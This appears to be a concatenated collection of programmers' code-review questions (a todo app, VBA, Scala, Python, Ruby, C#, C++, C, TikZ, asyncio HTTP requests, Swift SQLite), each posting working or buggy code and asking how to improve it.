    todos.push({
      id: newTodoId ++,
      text: getTodo,
      isChecked: false,
    })
    drawTodoList()
  }
}

function drawTodoList() {
  const liItem = todos.map((todo) => {
    if (!todo.isChecked) {
      return `

    <input type='checkbox' class=${classNames.TODO_CHECKBOX}>${todo.text}
`
    } else {
      return `

    <input type='checkbox' class=${classNames.TODO_CHECKBOX} checked>${todo.text}
`
    }
  })
  list.innerHTML = liItem.join('')

  checkboxes = document.querySelectorAll('input[type=checkbox]')
  checkboxArray = Array.from(checkboxes)
  checkboxArray.forEach(function(checkbox) {
    checkbox.addEventListener('change', confirmCheck)
  })
  countItem()
}

function confirmCheck() {
  let checkedToDo = todos.find(todo => {
    return todo.id == this.parentElement.id
  })
  checkedToDo.isChecked = !checkedToDo.isChecked
  countItem()
}

function countItem() {
  let itemCount = document.querySelectorAll('input[type="checkbox"]').length
  let checkedCount = document.querySelectorAll('input[type="checkbox"]:checked').length
  let uncheckedCount = itemCount - checkedCount
  itemCountSpan.innerHTML = itemCount
  uncheckedCountSpan.innerHTML = uncheckedCount
}
.center {
  align-self: center;
}

.flow-right {
  display: flex;
  justify-content: space-around;
}
.container {
  max-width: 800px;
  margin: 0 auto;
  padding: 10px;
  display: flex;
  flex-direction: column;
  background-color: white;
  height: 100vh;
}

.title, .controls, .button {
  flex: none;
}

.button {
  padding: 10px 20px;
}
<!DOCTYPE html>

    <title>TODO App</title>
    <link rel="stylesheet" type="text/css" href="./styles.css" />

My TODO App

        Item count: 0
        Unchecked count: 0

      <button class="button center" onClick="newTodo()">New TODO</button>


texts:
trait Comonad[M[_]] {
   // map
   def >>[A,B](a: M[A])(f: A => B): M[B]

   // extract | coeta
   def counit[A](a:M[A]): A

   // coflatten | comu
   def cojoin[A](a: M[A]): M[M[A]]
}

object Comonad {

  implicit def listComonad[A]: Comonad[List]
  =
    new Comonad[List] {

      def counit[A](lsa: List[A])
      =
        lsa match { case List(a) => a }

      def cojoin[A](lsa:List[A]): List[List[A]]
      =
        List(lsa)

      def >>[A,B](lsa: List[A])(f: A => B): List[B]
      =
        lsa map f
  }

}

So yeah I'm looking at this and I don't have that correct feeling...

Anyone mind correcting this and maybe offerring one or two other simple comonads?


texts: Counting records with customizable criteria

texts:
I am using the sumifs function in my VBA code but I noticed the speed has been slow. It takes minutes since I have 100k-200k records each week.

I am using the sumifs function to find how many records there are for each Cov A which is in a dollar amount. I also want to match the criteria in selection sheet so I am cross-matching multiple sheets. Values in column M is based on values in column L so I used R1C1 to reference that. I tried to add Application.Calculation = xlCalculationManual or Application.ScreenUpdating=False but speed does not improve as much as I anticipated.

I also tried to use Range(s) instead of R1C1 but speed is about the same.

Here is the portion of codes that reflect the sumif function, so the code works just fine but I am looking for ways in which can improve the speed.

Sub test_sumifs()
Dim MOB_T, Selection, Inforce As Worksheet
Dim Rng370, Rng380 As Range
Dim LR10 As Long

'Avg Cov A Inforce
Set MOB_T = Worksheets("MOB_T")
Set Selection = Worksheets("Selection")
Set Inforce = Worksheets("Inforce")

Inforce.Columns("AD").Copy
MOB_T.Columns("L").PasteSpecial xlPasteValues
MOB_T.Range("L1").ClearContents

ActiveSheet.Range(Range("L2"), Range("L2").End(xlDown)).RemoveDuplicates Columns:=1, Header:=xlNo

LR10 = MOB_T.Cells(Rows.Count, "L").End(xlUp).Row

With MOB_T.Range("M2:M" & LR10)
.FormulaR1C1 = "=SUMIFS(Inforce!C75,Inforce!C30,MOB_T!RC[-1],Inforce!C61,Selection!R6C2)"
.Value = .Value
End With

Set Rng370 = MOB_T.Range("L2:L" & LR10)
Set Rng380 = MOB_T.Range("M2:M" & LR10)

MOB_T.Cells(2, 14).Value = Application.WorksheetFunction.SumProduct(Rng370, Rng380)
MOB_T.Cells(3, 14).Value = "=SUM(M2:M" & LR10 & ")"
MOB_T.Cells(4, 14).Value = MOB_T.Cells(2, 14).Value / MOB_T.Cells(3, 14).Value

MOB_T.Range("E15") = MOB_T.Range("N4")

MOB_T.Columns("M:N").ClearContents
End Sub


texts:
The problem is: Given two strings, write a method to decide if one is a permutation of the other. I wrote the following code in scala, may I know any other optimization one?

def checkpermutation(str1:String, str2:String): Boolean=(str1, str2) match {
   case (a,b) if a==b => true
   case (a,b) if a.length() !=b.length() =>false
   case (a,b) if a.toList.sorted.mkString== a.toList.sorted.mkString => true
   case _ =>false
 }


texts:
We have three integers:

A, B, C where the first (i.e. the most significant) digit of C is the first digit of A, the second digit of C is the first digit of B, the third digit of C is the second digit of A, the fourth digit of C is the second digit of B etc.

If one of the integers A and B runs out of digits, the remaining digits of the other integer are appended to the result.

Examples:

A = 1 5 4 8
B =  3 6 9    =>
C = 1356498

A = 1 0
B =  6 58    =>
C = 16058.

Here is my function which has two arguments, the integers A and B and returns the third integer C:

def myfunction(numberA, numberB):
    numberAstr = str(numberA)
    numberBstr = str(numberB)
    lenght1 = len(numberAstr)
    lenght2 = len(numberBstr)
    lenght3 = lenght1 + lenght2

    cl = []
    c = 0
    al = list(map(int, str(numberA)))
    bl = list(map(int, str(numberB)))

    if lenght1 >= lenght2:
        for i in range(lenght1):
            cl.append(al[i])
            if i <= (lenght2 - 1):
                cl.append(bl[i])
            print("Loop No:", i)
            print(cl)
    elif lenght2 > lenght1:
            for i in range(lenght2):
                if i <= (lenght1 - 1):
                    cl.append(al[i])
                cl.append(bl[i])
            print("Loop No:", i)
            print(cl)
    for i in range(lenght3):
        c += cl[i] * (10 ** (lenght3 - i))
    c //= 10
    return c

numberA = int(input("Enter the first number: "))
numberB = int(input("Enter the second number: "))
print('Integer C:', myfunction(numberA, numberB))

This function works just fine, but I'm sure that there is a pythonic way to do this! So I'm asking for any ideas to improve code efficiency.


texts: Speed up solution to Project Euler problem 75

texts:
I wrote this code for Project Euler problem 75, which asks how many integers ≤ 1500000 exist, where the integer is a  perimeter length that can be divided into three integer-length sides of a right triangle in one unique way.

I was curious if anyone knew how to improve its speed. It runs fine, but I'm just looking to improve my own coding know-how.

from functools import reduce
import math

primes=set([2,3,5,7,11,13,17,19,23])
def isPrime(n):
    n=abs(n)
    if n in primes:
       return True
    if n<2:
       return False
    if n==2:
       return True
    if n%2==0:
       return False
    for x in range(3, int(n**0.5)+1, 2):
        if n % x == 0:
            return False
    primes.add(n)
    return True

def aFactors(n):
    if isPrime(n):
        return [1,n]
    return set(reduce(list.__add__,([i,n//i] for i in range(1,int(math.sqrt(n))+1) if n%i==0)))

count=0
number=12
while number<=1500000:
    p=number/2
    f=aFactors(p)
    triangles=[]
    pairs=[(i, int(p/i)) for i in f]
    add=triangles.append
    for i in pairs:
        mList=aFactors(i[0])
        pairsOfmc=[(k,int(i[0]/k)) for k in mList]
        for j in pairsOfmc:
            add((2*i[1]*i[0]-i[1]*i[1]*j[0],2*i[0]*i[1]-2*i[0]*j[1],2*i[0]*j[1]+i[1]*i[1]*j[0]-2*i[0]*i[1]))
    r=0
    while r<len(triangles):
        if any(triangles[r][i]<=0 for i in range(len(triangles[r]))):
            del triangles[r]
        else:
            l=list(triangles[r])
            l.sort()
            triangles[r]=tuple(l)
            r+=1
    trianglesFinal=list(set(triangles))
    for i in trianglesFinal:
        print(number, i)
    if len(trianglesFinal)==1:
        count+=1
    number+=2
print(count)

Please note that I am not looking for a different calculating method (I am sure there is one, but, for me, Project Euler is about finding your own methods.  Using yours would, to me, be cheating). However, any faster functions, ways to combine blocks of code, simplified tests, or the like (such as not checking ever other number, but every xth number, etc) would be greatly appreciated!


texts: Searching for combinations of words and numbers

texts:
My model called Customer contains a method called generate_fields which creates records based on its return values.

def generate_fields
  words.map do |word|
    numbers.map do |number|
      content = find_content(word, number)
      next if content.nil?

      {
        kind: word,
        value: content
      }
    end.compact
  end.flatten
end

#[
#  { kind: "S", value: "BRL" },
#  { kind: "M", value: "AUS" },
#  { kind: "L", value: "PER" },
#]

The methods words and numbers are private and return an array of strings. Their implementation is not relevant to this discussion. generate_fields returns an array of hashes which is used to create multiple customers at the database.

Customer.create(generate_fields)

The problem is compact and flatten create a new array for every time they are called as pointed out by @David Aldridge. How can this function be rewritten to avoid excessive array creation? Thanks in advance.


texts:
Here is a small code snippet I wrote that I feel is pretty naive. I copied the code directly from my project and renamed some ID/class names.

I'd like to know how you could help to improve/refactor the code. radiobox1 and radiobox2 form a pair, and radiobox3 and radiobox4 form another pair - they're both mutually exclusive - which means select radiobox1 then radiobox2 is disabled, and vice versa. Then I will load the data in terms of the user's selection combination. In total, there are 4 selection combinations.

var viz = (function () {
    var config = {
        width: 960,
        height:600,
        big: true,
        small: true,
        index: 0
    };

    var emptyGraph = function () {
        if (!$('#graph').is(':empty')) {
            $("#graph").empty();
        }
    };

    var bind = function () {
        $("#radiobox1").change(function () {
           if ($(this).is(':checked')) {
               emptyGraph();
               $("#radiobox2").prop("checked", false);
               config.small = true;
               loader.loadData(config);
           }
        });

        $("#radiobox2").change(function () {
            if ($(this).is(':checked')) {
                emptyGraph();
                $("#radiobox1").prop("checked", false);
                config.small = false;
                loader.loadData(config);

            }
        });

        $("#radiobox3").change(function () {
            if ($(this).is(':checked')) {
                emptyGraph();
                $("#radiobox4").prop("checked", false);
                config.big = true;
                loader.loadData(config);
            }
        });

        $("#radiobox4").change(function () {
            if ($(this).is(':checked')) {
                emptyGraph();
                $("#radiobox3").prop("checked", false);
                config.big = false;
                config.index = 1;
                loader.loadData(config);
            }
        });

    };

    return {
        init: bind,
    }

})();


texts:
I came across the following code in our code base:

public interface ICloneable<T>
{
    T Clone();
}

public class MyObject : ICloneable<MyObject>
{
    public Stuff SomeStuff { get; set; }

    T Clone()
    {
        return new MyObject { SomeStuff = this.SomeStuff };
    }
}

The pattern of using a generic interface and then doing class A : Interface<A> looks pretty bizarre to me. I have a feeling it's either useless or that it could be changed into something less intricated.
Can someone explain if this is right/wrong, and how it should be changed?


texts:
I have tested this code and it yields the expected outputs, but I want to verify if I have applied insertion sort algorithm correctly or not.

 import java.util.*;
public class InsertionSort
{
    static void swap(int[] arr, int i, int j)
    {
        int temp = arr[i];
        arr[i] = arr[j];
        arr[j] = temp;
    }

    static void sorter(int arr[])
    {

        int hole;
        int n = arr.length;
        if(n>=2)
        {
            for(int i = 1; i<n ; i++)
            {
                hole = i;
                inner:
                for(int j = i-1; j>=0; j--)
                {
                    if(arr[j]> arr[hole])
                    {
                        swap(arr, j, hole);
                        hole = j;
                    }
                    else
                        break inner;
                }
            }
        }
        System.out.println(Arrays.toString(arr));
    }
}


texts: De-/Serialization of structs representing TCP messages

texts:
I wrote two template functions to serialize and deserialize structs representing messages to be sent and received via a TCP socket:
/*
 * Convert a byte string into a packet.
 */
template <typename PacketType>
PacketType deserialize(std::string &buf, bool partialProcessing = false)
{
    PacketType packet;
    size_t bufSize = buf.length();
    size_t packetSize = sizeof packet;

    if (packetSize > bufSize)
        std::cerr << "Packet larger than buffer size. Partial read: " << (packetSize - bufSize) << std::endl;

    if (packetSize < bufSize && !partialProcessing)
        std::cerr << "Packet smaller than buffer size. Bytes unprocessed: " << (bufSize - packetSize) << std::endl;

    auto ptr = reinterpret_cast<char*>(&buf[0]);
    memcpy(&packet, ptr, (packetSize < bufSize) ? packetSize : bufSize);
    return packet;
}

/*
 * Convert a packet into a byte string.
 */
template <typename PacketType>
std::string serialize(PacketType &packet)
{
    auto ptr = reinterpret_cast<char*>(&packet);
    return std::string(ptr, ptr + sizeof packet);
}

The code currently works within a larger project quite well, but I am unsure as to whether it might produce memory leaks due to my usage of pointers and memcpy.
How can I improve this code?
Addendum
Since some of the (great) answers seem to need more context, this is but an excerpt of this revision of a header file within the respective project. The template functions are used internally only i.e. do not constitute an external API.


texts: Need some advice and feedback on my C code calling Bash functions

texts:
My intent is to use Bash functions defined in functions.sh in a C program. I am doing this so that I don't have to rewrite the Bash functionality again in C. I want to use one common library for functions I need. Here is my C code and functions.sh.

#include <stdlib.h>
#include <sys/wait.h>
#include <stdio.h>

void shellCall(char * command)
{
    int status, commandexitcode=0;

    if(command == NULL)
    {
        printf("NULL command string sent\n");
        exit(1);
    }

    status = system(command);

    if(status == -1)
    {
        printf("Error during call, value %d\n", status);
        exit(1);
    }

    if (WIFEXITED(status))
    {
        commandexitcode =  WEXITSTATUS(status);
        if (commandexitcode != 0)
        {
            printf("non zero exit code: %d\n", commandexitcode);
            exit(1);
        }
    }
    else if (WIFSIGNALED(status))
    {
        printf("killed by signal: %d\n", WTERMSIG(status));
        exit(1);
    }
    else if (WIFSTOPPED(status))
    {
        printf("stopped by signal: %d\n", WSTOPSIG(status));
        exit(1);
    }
    else if (WIFCONTINUED(status))
    {
        printf("continued, unexpected..bailing\n");
        exit(1);
    }
}

int main(int argc,char **argv)
{
    char  command[100]; //command
    int i = 0;
    for (i = 1 ; i <= 10 ; i++)
    {
         sprintf( command, "source $PWD/functions.sh ; i=%d ; myfunc %d", i,i );
         shellCall(command);
    }
}

Please note that here I have only shown a very simple example of the way I am using functions in functions.sh. In reality functions.sh has many functions, some of which implement decent logic.

#!/bin/sh
# functions.sh

myfunc()
{
    echo "I received $1"
}

Question: I need feedback on the following aspects.

Is it a bad programming practice (something that will make experienced and senior developers mad when they see this) to use system() calls to call functions in functions.sh as I have done?
What are the reasons (technical and other) for which it is considered a bad programming practice?
What changes should I make to my C code so that experienced and senior developers will find it acceptable?


texts: Generating a 1-dim array with explanatory arrows and text and large braces

texts:
I am still learning tikz and often have to use complicated solutions where I am sure are more simple ones. From my latest tikz files I picked one to ask for tips what I can do better, to learn about features of tikz.

The general layout should stay the same. Slight changes are fine. Suggestions should be about syntax.

I convert this file using

pdflatex 1.tex

and the result is a pdf/png like this

General prologue for all my tikz PNGs

\documentclass[11pt]{article}
\usepackage[utf8]{inputenc}
\usepackage[ngerman]{babel}
\usepackage{tikz}
\usepackage{pgf}
\usepackage[active,pdftex,tightpage]{preview}
  \usetikzlibrary{backgrounds}
  \usetikzlibrary{decorations.pathreplacing}
  \usetikzlibrary{positioning}
  \usetikzlibrary{shapes}
  \usetikzlibrary{shapes.multipart}
  \usetikzlibrary{trees}
  \usetikzlibrary{arrows}
\definecolor{gpcHintergrund}{RGB}{205,229,244}
\PreviewEnvironment[]{tikzpicture}
\PreviewEnvironment[]{pgfpicture}

\begin{document}

tikz intro

\begin{tikzpicture}[
      background rectangle/.style={fill=gpcHintergrund}, show background rectangle,
      every node/.style={align=center, font=\small, minimum height=1.5em, minimum width=1.0cm,node distance=0cm},
        line/.style={ draw, line width=3pt },
        cell/.style = {rectangle, fill=white, draw, text width=1.0cm,outer sep=0pt},
        capx/.style = {rectangle, draw, text width=1.3cm, color=black!60,outer sep=0pt},
      scale=0.95,
      every node/.append style={transform shape},   % (1) scale here first approx. lines stay.
    %  every node/.append style={draw},
    ]

Center nodes/boxes

   \node at (0,0) [cell] (n1) {10};
   \node[right=of n1,cell] (n2) {20};
   \node[right=of n2,cell] (n3) {30};
   \node[right=of n3,cell] (n4) {40};
   \node[right=of n4,cell] (n5) {50};
   \node[right=of n5,cell] (n6) {60};
   \node[right=of n6,cell] (n7) {70};
   \node[right=of n7,cell] (n8) {80};
   \node[right=of n8,cell,fill=black!20,text=black!60] (ne) {end};

Could this series of right=ofs be replaced by a totally different approach?

The text above and below with arrows

\node[above=of n2.west,yshift=1.0cm] (lb2) {lower\_bound(20)};
  \path [->,draw,shorten <=-1pt] (lb2) -- (n2.north west);

\node[above=of n7.west,yshift=1cm] (ub7) {upper\_bound(60)};
  \path [->,draw,shorten <=-1pt] (ub7) -- (n7.north west);

\node[above=of n4,yshift=0.5cm] (er4) {equal\_range(40)};
  \path [->,draw,shorten <=-3pt] (er4) -- (n4.north west);
  \path [->,draw,shorten <=-3pt] (er4) -- (n5.north west);

\node[below=of n3.west,yshift=-1.0cm] (lb25) {lower\_bound(25)};
  \path [->,draw,shorten <=-1pt] (lb25) -- (n3.south west);

\node[below=of n7.west,yshift=-1.0cm] (ub65) {upper\_bound(65)};
  \path [->,draw,shorten <=-1pt] (ub65) -- (n7.south west);

\node[below=of n4.east,yshift=-0.7cm] (er45) {equal\_range(45)};
  \path [->,draw,shorten <=-3pt] ([xshift=0.4ex]er45.north) -- ([xshift=0.4ex]n5.south west);
  \path [->,draw,shorten <=-3pt] (er45.north) -- (n5.south west);

equal_range(40) could have two straight/parallel arrows, not diagonal. Their tips must point exactly where they are now, but the backs could move apart until parallel. I know about |- and -| but did not manage to straighten the lines.

The curly braces "gefunden" and "nicht gefunden"

\draw[decoration={brace},decorate,color=black!50]
  ([yshift=1.3cm]ne.north west) -- node[right=6pt] {gefunden} ([yshift=0.2cm]ne.north west);

\draw[decoration={brace,mirror},decorate,color=black!50]
  ([yshift=-1.3cm]ne.south west) -- node[right=6pt] {nicht gefunden} ([yshift=-0.2cm]ne.south west);

\end{tikzpicture}

\end{document}

The placing of the braces using yshifts looks very bad to me. What could be a better way?


texts: Making 10000 HTTP requests as fast as possible

texts:
I need a program that needs to gather data from large list of API end points. Below is a mock-up program that attempts to make 10000 requests as fast as possible. Any suggestions on how to improve on this (especially for speed) is highly welcome. Experimentation showed that the Semaphore cap of around 100 gave the best speed.

import asyncio
from aiohttp import ClientSession
import datetime
import time
import sys

def processData(data):
    time.sleep(0.001)
    return data

async def fetch(url, session):
    async with session.get(url) as response:
        data = await response.read()
        data = processData(data)
        return data

async def bound_fetch(sem, url, session):
    async with sem:
        return await fetch(url, session)

async def run(loop,N):
    url = "https://www.example.com"
    tasks = []
    sem = asyncio.Semaphore(100)
    async with ClientSession() as session:
        for i in range(N):
            task = loop.create_task(bound_fetch(sem, url, session))
            tasks.append(task)

        print("Done starting {} tasks".format(N))
        starttime = time.time()
        print(datetime.datetime.now())
        responses = await  asyncio.gather(*tasks)
        print("Done completing {} tasks in: {}".format(N,time.time()-starttime))

        return responses

args = sys.argv
loop = asyncio.get_event_loop()

if __name__ == "__main__":
    if len(sys.argv) == 2:
        N = int(sys.argv[1])
    else:
        N = 10000
    maintask = loop.create_task(run(loop, N))
    result = loop.run_until_complete(maintask)
    print(len(result))


texts: Setting the position of a navigation highlight

texts:
How can I make my function better and favor functional programming style?

On this single-page site I have a fixed navigation list. Each item in the list has a transparent background and I have a #nav-highlight div that I move with JavaScript and animate with CSS for an interesting effect while scrolling through the page.

Everything works, but I'm not happy with my implementation. There's one part that doesn't make sense without the comments to explain it and I need to use continue and break for it to work this way. I'd prefer to move more toward a functional style, but I couldn't figure out how to do this without a for loop.

Here's the relevant function. You can see the code in context at GitHub and the page is hosted here:

function setHighlightPosition(nav) {
  const documentEnd = document.documentElement.scrollHeight - window.innerHeight;
  const scrollTop = window.scrollY;
  const scrollMiddle = scrollTop + (window.innerHeight / 2);
  const highlight = document.getElementById('nav-highlight');

  let highlightItem = 0;
  for (let i = 0; i < nav.positions.length; i += 1) {
    const item = nav.positions[i];
    if (!item.targeted) continue;

    const target = document.getElementById(item.id);
    const position = target.offsetTop;

    // If the target is close to the top of the window, set the highlighted item
    // and don't check any more.
    if (
      (Math.abs(position - scrollTop) < 25) ||
      (scrollTop < position && position - scrollTop < 50)
    ) {
      highlightItem = i;
      break;
    }

    // Check the position of a target near the middle of the window if there
    // were no targets near the top of the window.
    if (scrollMiddle > position) {
      highlightItem = i;
    }
  }

  if (scrollTop === documentEnd) {
    highlightItem = nav.positions.length - 1;
  }

  highlight.style.transform = `translateY(${nav.positions[highlightItem].position}px)`;
  highlight.dataset.position = highlightItem;
}

Here's the affected HTML

Objective

Bio

Skills

History

Certification

Connect


texts: Best practice for factory pattern in c++?

texts:
I'm implementing a simple data reader to get image sequences from either a pre-recorded video file (In my case ROS bag file), or a camera device (In my case Intel Realsense). Basically I intend for users to use it in the following way:

When a non-empty file path is provided, the reader reads from the video file; otherwise if an empty path is specified, the reader reads from the camera device. (For now in case of any failure, throwing exceptions and terminating the program will be fine.)

The user iteratively calls bool get_next_frame(Frame&) to get all the frames, until reaching the end of the video, upon which the function returns false.

I'm trying to implement the above-mentioned functionality using the factory pattern, in C++ as follows:
class DataReader;
typedef std::shared_ptr<DataReader> datareader_ptr;

class DataReader {
  friend datareader_ptr make_data_reader(const std::string& ros_bag_path);
public:
  virtual bool get_next_frameset(rs2::frameset& frames)=0;
  virtual void finalize() {
    pipe_.stop();
  }
  virtual ~DataReader() {
    std::cout << "dtor for DataReader called." << std::endl;
    finalize();
  }
protected:
  DataReader(rs2::config cfg, rs2::pipeline pipe, rs2::pipeline_profile pipeline_profile)
      :cfg_(cfg),pipe_(pipe),pipeline_profile_(pipeline_profile) {}
  rs2::config cfg_;
  rs2::pipeline_profile pipeline_profile_;
  rs2::pipeline pipe_;
};

class RosBagDataReader : public DataReader {
  friend datareader_ptr make_data_reader(const std::string& ros_bag_path);
public:
  virtual bool get_next_frameset(rs2::frameset& frames) {
    frames = pipe_.wait_for_frames();
    return true;
  }
  virtual ~RosBagDataReader() {}
protected:
  RosBagDataReader(rs2::config cfg, rs2::pipeline pipe, rs2::pipeline_profile pipeline_profile)
      :DataReader(cfg, pipe, pipeline_profile) {}
};

class CameraDataReader : public DataReader {
  friend datareader_ptr make_data_reader(const std::string& ros_bag_path);
public:
  virtual bool get_next_frameset(rs2::frameset& frames) {
    frames = pipe_.wait_for_frames();
    return true;
  }
  virtual ~CameraDataReader() {}
protected:
  CameraDataReader(rs2::config cfg, rs2::pipeline pipe, rs2::pipeline_profile pipeline_profile)
      :DataReader(cfg, pipe, pipeline_profile) {}
};

datareader_ptr make_data_reader(const std::string& ros_bag_path) {
  rs2::config cfg;
  rs2::pipeline pipe;
  if (ros_bag_path=="") {
    rs2::pipeline_profile profile = pipe.start();
    return datareader_ptr(new CameraDataReader(cfg, pipe, profile));
  } else {
    // from ros bag file
    cfg.enable_device_from_file(ros_bag_path, false);
    rs2::pipeline_profile profile = pipe.start(cfg); //File will be opened in read mode at this point
    rs2::playback play(profile.get_device());
    play.set_real_time(false);
    return datareader_ptr(new RosBagDataReader(cfg, pipe, profile));
  }
}

However, I'm really not sure whether this is the best practice. More specifically,

Is the usage of factory pattern here justified ?
Is my implementation of factory pattern correct ? Or are there any pitfalls in the code ?

For example, I used friend function to access the protected constructors in all the classes, is this appropriate or there are better ways to do this?
Another example, protected constructor is used so that the users may not directly construct the readers, but only through the factory function. Is this done correctly?
Thanks in advance!
Update: Definitions of stuff in namespace rs2: may refer to this doc. Basically they are all just thin wrappers holding a shared_ptr to the class doing the real work. (i.e. pimpl idiom)


texts: Handling events in a multi threaded environment

texts:
I have a service that raises multiple events, some of them can be raised at the same time. I need to process those events and run a potentially long running method based on the event arguments.
What I did is to create a BlockingCollection<T> that will store the events and a Task that will keep taking one event at a time until it will be signaled to stop using a CancellationTokenSource.
This is my code:

public class EventsTest
{
    //private fields
    private BlockingCollection<int> _queue; //a concurrent collection to hold incoming events
    private CancellationTokenSource _tokenSource;
    private IoService _ioService; //a service that raises multiple events
    private static EventWaitHandle _eventWaiter; // used for waiting inside a method

    public EventsTest()
    {
        _queue = new BlockingCollection<int>();
        _tokenSource = new CancellationTokenSource();
        _eventWaiter = new EventWaitHandle(false, EventResetMode.AutoReset);

        _ioService = new IoService();
        _ioService.IoEvent += _ioService_IoEvent;

        //Start Listening to IO events
        var t = Task.Factory.StartNew(StartListening, _tokenSource, TaskCreationOptions.LongRunning);
    }

    //IO events listener
    private void _ioService_IoEvent(byte[] desc, int portNum)
    {
        //add events to a blocking collection
        _queue.Add(portNum);
    }

    //a while loop running on a separate task
    //and taking the event one by one
    private void StartListening(object dummy)
    {
        while (!_tokenSource.IsCancellationRequested)
        {
            try
            {
                var eve = _queue.Take(_tokenSource.Token);
                switch (eve)
                {
                    case 0:
                        //run the required method on a separate task so it won't block the loop
                        Task.Factory.StartNew(LongRunningMethod);
                        break;
                    case 1:
                        //invoke a potential blocking method
                        break;
                    default:
                        break;
                }
            }
            catch (OperationCanceledException)
            {
                // _tokenSource was signaled to stop. do nothing
            }
        }
    }

    static readonly object _locker = new object();
    //sample long running method
    private void LongRunningMethod()
    {
        lock (_locker)
        {
            Thread.Sleep(5000);
        }
    }
}

Am I on the right track here? what can I do in order to make it more robust?
UPDATE
The process of this class is as follows:

Listen to events raised by a remote service
Handle each event based on it's event arguments in a predefined method
A method execution time can be long
Different methods can run simultaneously (That's why I start each method with the Task.Factory.StartNew(LongRunningMethod);)
If an event handling method needs to run again when the previous one wasn't finished it should wait for it (that's why I placed the lock statement in the method implementation)

please note that I originally posted this question here but I guess that it's more suitable for this site


texts: Creating an in-memory ViewCounter that commits to database every 10 minutes

texts:
This singleton is responsible for counting every pageview (called Routes in our case) we get by id, until the timer runs out and commits the results to the database in one query. Then the counter gets reset and the timer starts again.

I made this to reduce the amount of connections happening on our database at a given time.

Our pages are HttpServlet subclasses, so they get called concurrently. Our viewcounter should support this.

This is the code I think would be right for this:

@Singleton
@ConcurrencyManagement(BEAN)
public class RouteViewcounterSingleton {

    private ConcurrentHashMap<Integer, Integer> viewCounter;

    @EJB
    private RouteViewcountDAO routeViewcountDAO;

    @Inject
    private RouteDAO routeDao;

    @Resource
    TimerService timerService;

    @PostConstruct
    public void initialize() {
        viewCounter = new ConcurrentHashMap<>();
    }

    public void incrementViewCount(Integer routeId) {
        if (viewCounter.containsKey(routeId)) {
            Integer counter = viewCounter.get(routeId);
            counter++;
            viewCounter.put(routeId, counter);
        } else {
            viewCounter.put(routeId, 1);
        }
    }

    @Timeout
    public void programmaticTimeout(Timer timer) {
        Logger.getLogger(RouteViewcounterSingleton.class.getName()).log(Level.SEVERE, "ViewCounter timer timeout: " + DateTime.now(), "");
    }

    @Schedule(second = "0", minute = "*/10", hour = "*", info = "ViewCounterTimer")
    public void scheduleTimer() {
        if (viewCounter != null) {
            int i = 0;
            for (Map.Entry<Integer, Integer> entrySet : viewCounter.entrySet()) {
                try {
                    Integer routeId = entrySet.getKey();
                    Integer viewCount = entrySet.getValue();
                    Route route = routeDao.find(routeId);
                    RouteViewcount routeViewcount = routeViewcountDAO.find(route);
                    if (routeViewcount != null) {
                        routeViewcount.setViews(routeViewcount.getViews() + viewCount);
                        routeViewcountDAO.edit(routeViewcount);
                    } else {
                        routeViewcountDAO.create(new RouteViewcount(route, viewCount));
                    }
                    i++;
                } catch (MultipleResultsException | NoResultException | AttributeNotUniqueException | VersionConflictException ex) {
                    Logger.getLogger(RouteViewcounterSingleton.class.getName()).log(Level.SEVERE, null, ex);
                }
            }
            Logger.getLogger(RouteViewcounterSingleton.class.getName()).log(Level.INFO, "Viewcounter persisted for " + i + " routes on :" + DateTime.now(), "");
            viewCounter.clear();
        }
    }
}


texts: (Ruby version) Rotate linked list to the right by k places

texts:
I saw this question (javascript - rotate linked list to the right by k places) the other day and I tried implementing it in Ruby in a totally different way. Here's the code (I also created a REPL if you want to test it - https://repl.it/repls/PrimeSomeBlock):

node.rb

class Node
  attr_accessor :value, :next_node

  def initialize(value:, next_node: nil)
    @value = value
    @next_node = next_node
  end
end

linked_list.rb

class LinkedList
  attr_reader :nodes

  def initialize(nodes: [])
    @nodes = nodes
  end

  def rotate(k)
    self.class.new(nodes: rotate_nodes(k))
  end

  def rotate!(k)
    @nodes = rotate_nodes(k)
  end

  def to_s
    @nodes.map(&:value).join("->")
  end

  private

  def rotate_nodes(k)
    if !k.between?(1, @nodes.length) || !k.is_a?(Integer)
      raise "`k` must be an integer between 1 and the length of the list"
    end

    @nodes.map do |node|
      n = @nodes.find_index(node)
      @nodes[n - k].next_node = n - k == 1 ? nil : @nodes[n - k + 1]
      @nodes[n - k]
    end
  end
end

main.rb

require_relative "./node"
require_relative "./linked_list"

n4 = Node.new(value: 5)
n3 = Node.new(value: 3, next_node: n4)
n2 = Node.new(value: 7, next_node: n3)
n1 = Node.new(value: 7, next_node: n2)

linked_list1 = LinkedList.new(
  nodes: [n1, n2, n3, n4]
)

puts <<~HEREDOC
  Rotating #{linked_list1.to_s} by 2 places.
    :: #{linked_list1.rotate(2).to_s}

HEREDOC

n9 = Node.new(value: 5)
n8 = Node.new(value: 4, next_node: n9)
n7 = Node.new(value: 3, next_node: n8)
n6 = Node.new(value: 2, next_node: n7)
n5 = Node.new(value: 1, next_node: n6)

linked_list2 = LinkedList.new(
  nodes: [n5, n6, n7, n8, n9]
)

puts <<~HEREDOC
  Rotating #{linked_list2.to_s} by 3 places.
    :: #{linked_list2.rotate(3).to_s}
HEREDOC

Thoughts?


texts: Find the longest sequential same character array

texts:
I am a new guy to Java. I want to find the longest sequential same character array in a input character arrays.

For example, this character array:

bddfDDDffkl

The longest is DDD. Next example:

rttttDDddjkl

The longest is tttt.

I use the following code to deal with this problem but I want to improve my code. Could you tell me if there are any edge cases here? For example, if there are two same length arrays (for example rtttgHHH, there are two longest: ttt and HHH), how to solve this situation?

My following code:

public class SeqSameChar {
    public static void main (String[] args) {
     int subLength = 0;
    Scanner sc = new Scanner(System.in);
    String[] num = null;
    num = sc.nextLine().split(" ");
    String[] number = new String[num.length];
    for(int i = 0; i< number.length;i++) {
     number[i] = String.valueOf(num[i]);
    }
    subLength =length(number,num.length);
    System.out.println(subLength);
    for(int i = index; i < index+subLength; i++) {
     System.out.print(number[i]);
    }
    }
    public static int index;
    //to calculate the longest contiguous increasing sequence
    public static int length(String[] A,int size){
    if(size<=0)return 0;
    int res=1;
    int current=1;
    for(int i=1;i<size;i++){
       if(A[i].equals(A[i-1])){
           current++;
       }
       else{
           if(current>res){
               index=i-current;
               res=current;
           }
           current=1;
       }
     }
    return res;
    }
}


texts: Sqlite select and delete operation using C API in Swift

texts:
I've following sqlite code using C api within Swift having a read and a delete operation for review.
For those not familiar with Swift, defer will execute after the end of the function.
Since I'm not closing the database connection and keeping it alive, I'm calling sqlite3_db_cacheflush(database) to flush out the changes to the disk. Link
class Database {

    internal var database: OpaquePointer! = nil

    init(_ database: OpaquePointer) {
        self.database = database
    }

